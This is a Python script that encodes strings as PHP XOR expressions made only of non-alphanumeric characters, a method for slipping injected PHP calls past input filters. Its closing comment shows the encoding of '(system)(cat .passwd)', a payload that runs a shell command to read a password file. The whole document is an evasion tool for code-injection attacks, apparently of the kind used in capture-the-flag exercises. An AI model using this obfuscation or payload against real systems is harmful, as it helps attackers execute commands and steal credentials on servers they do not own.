PHP String obfuscation using bitwise XOR

php_xor_obfuscate.py

import sys

class XorConverter:
    """
    A converter class to convert strings to their XOR representation.
    """

    def __init__(self):
        self.forbidden_chars = ["`"]
        self.alphabet_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ "
        self.non_alpha_non_hex_chars = [chr(i) for i in range(32, 127) if not chr(i).isalpha() and not 'a' <= chr(i).lower() <= 'f' and not chr(i) == ' ']
        self.xor_mapping = self.find_xor_pairs_for_alphabet(self.non_alpha_non_hex_chars, self.forbidden_chars)

    def find_xor_pairs_for_alphabet(self, valid_chars, forbidden_chars=None):
        """
        Generates a XOR mapping dictionary for the alphabet using valid characters.
        """
        xor_pairs = {}
        for char in self.alphabet_chars:
            for i in valid_chars:
                for j in valid_chars:
                    if ord(i) ^ ord(j) == ord(char) and i not in forbidden_chars and j not in forbidden_chars:
                        xor_pairs[char] = (i, j)
                        break
                if char in xor_pairs:
                    break
        return xor_pairs

    @staticmethod
    def escape_character(char):
        """
        Escapes quotes and backslashes in the given character.
        """
        if char in ["'", '\\']:
            return '\\' + char
        return char

    def convert_string_to_xor(self, input_string):
        """
        Converts a given string to its XOR representation.
        """
        converted_string = ""
        for i, char in enumerate(input_string):
            next_char = input_string[i+1] if i+1 < len(input_string) else None
            if char in self.xor_mapping:
                char1, char2 = self.xor_mapping[char]
                char1_escaped = self.escape_character(char1)
                char2_escaped = self.escape_character(char2)
                converted_string += f"('{char1_escaped}'^'{char2_escaped}')"
                if next_char and next_char in self.xor_mapping:
                    converted_string += '.'
            else:
                if char in ['.']:
                    converted_string += f".'{char}'"
                converted_string += f"{char}"
        return converted_string

# Create an instance of XorConverter
converter = XorConverter()

# Continuous user input loop
while True:
    input_string = input("Enter a string to convert (type 'exit' to quit): ")
    if input_string.lower() == 'exit':
        break
    converted_string = converter.convert_string_to_xor(input_string)
    print(f"Converted: {converted_string}")

# Exemple :
# Enter a string to convert (type 'exit' to quit): (system)(cat .passwd)
# Converted: (('('^'[').('"'^'[').('('^'[').('('^'\\').('%'^'@').('-'^'@'))(('#'^'@').('!'^'@').('('^'\\').('['^'{').'.'.('+'^'[').('!'^'@').('('^'[').('('^'[').('('^'_').('$'^'@'))